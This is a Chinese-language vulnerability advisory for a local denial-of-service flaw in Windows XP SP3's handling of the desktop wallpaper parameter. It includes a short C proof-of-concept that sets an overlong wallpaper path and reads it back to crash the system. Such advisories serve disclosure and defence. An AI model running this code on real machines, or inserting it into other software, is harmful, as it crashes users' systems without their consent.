ZeroBox Vulnerability Database

漏洞起因
设计错误
 
影响系统
Microsoft Windows XP Tablet PC Edition SP3
Microsoft Windows XP Professional x64 Edition SP3
Microsoft Windows XP Professional SP3
Microsoft Windows XP Media Center Edition SP3
Microsoft Windows XP Home SP3
 
不受影响系统
 
危害
本地攻击者可以利用漏洞使系统崩溃。
 
攻击所需条件
攻击者必须访问Microsoft Windows。
 
漏洞信息
Microsoft Windows是一款流行的操作系统。
Microsoft Windows不正确处理桌面墙纸系统参数，本地攻击者可以利用漏洞使系统崩溃。
设置特殊的SPI_GETDESKWALLPAPER参数，可导致系统崩溃。
 
测试方法
#include <windows.h>
int main()
{
 WCHAR c[1000] = {0};
 memset(c, ‘c’, 1000);
 SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, (PVOID)c, 0);
 WCHAR b[1000] = {0};
 SystemParametersInfo(SPI_GETDESKWALLPAPER, 1000, (PVOID)b, 0);
 return 0;
}
 
厂商解决方案
目前没有详细解决方案提供：
http://www.microsoft.com/
 
漏洞提供者
Arkon
 
漏洞消息链接
http://www.ragestorm.net/blogs/?p=78